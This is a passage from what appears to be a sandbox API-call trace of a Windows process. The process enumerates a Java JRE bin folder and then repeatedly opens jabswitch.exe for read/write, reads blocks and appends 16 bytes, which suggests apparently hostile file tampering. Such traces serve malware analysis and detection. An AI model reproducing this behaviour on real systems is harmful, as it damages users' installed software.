lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0071.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0071.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0071.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0071.296] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c760) returned 1 [0071.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c720) returned 1 [0071.297] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0071.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), fInfoLevelId=0x0, lpFileInformation=0x31de860 | out: lpFileInformation=0x31de860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640)) returned 1 [0071.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0071.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.574] GetFileType (hFile=0x6b0) returned 0x1 [0071.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.574] GetFileType (hFile=0x6b0) returned 0x1 [0071.574] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0071.574] ReadFile (in: hFile=0x6b0, lpBuffer=0x3162e90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3162e90*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0071.575] CloseHandle (hObject=0x6b0) returned 1 [0071.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.576] GetFileType (hFile=0x6b0) returned 0x1 [0071.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.576] GetFileType (hFile=0x6b0) returned 0x1 [0071.576] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x8640 [0071.576] WriteFile (in: hFile=0x6b0, lpBuffer=0x3164108*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3164108*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0071.577] CloseHandle (hObject=0x6b0) returned 1 [0071.579] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.579] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.579] GetFileType (hFile=0x6b0) returned 0x1 [0071.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.579] GetFileType (hFile=0x6b0) returned 0x1 [0071.579] ReadFile (in: hFile=0x6b0, lpBuffer=0x31663a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x31663a8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0071.904] CloseHandle (hObject=0x6b0) returned 1 [0071.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.904] 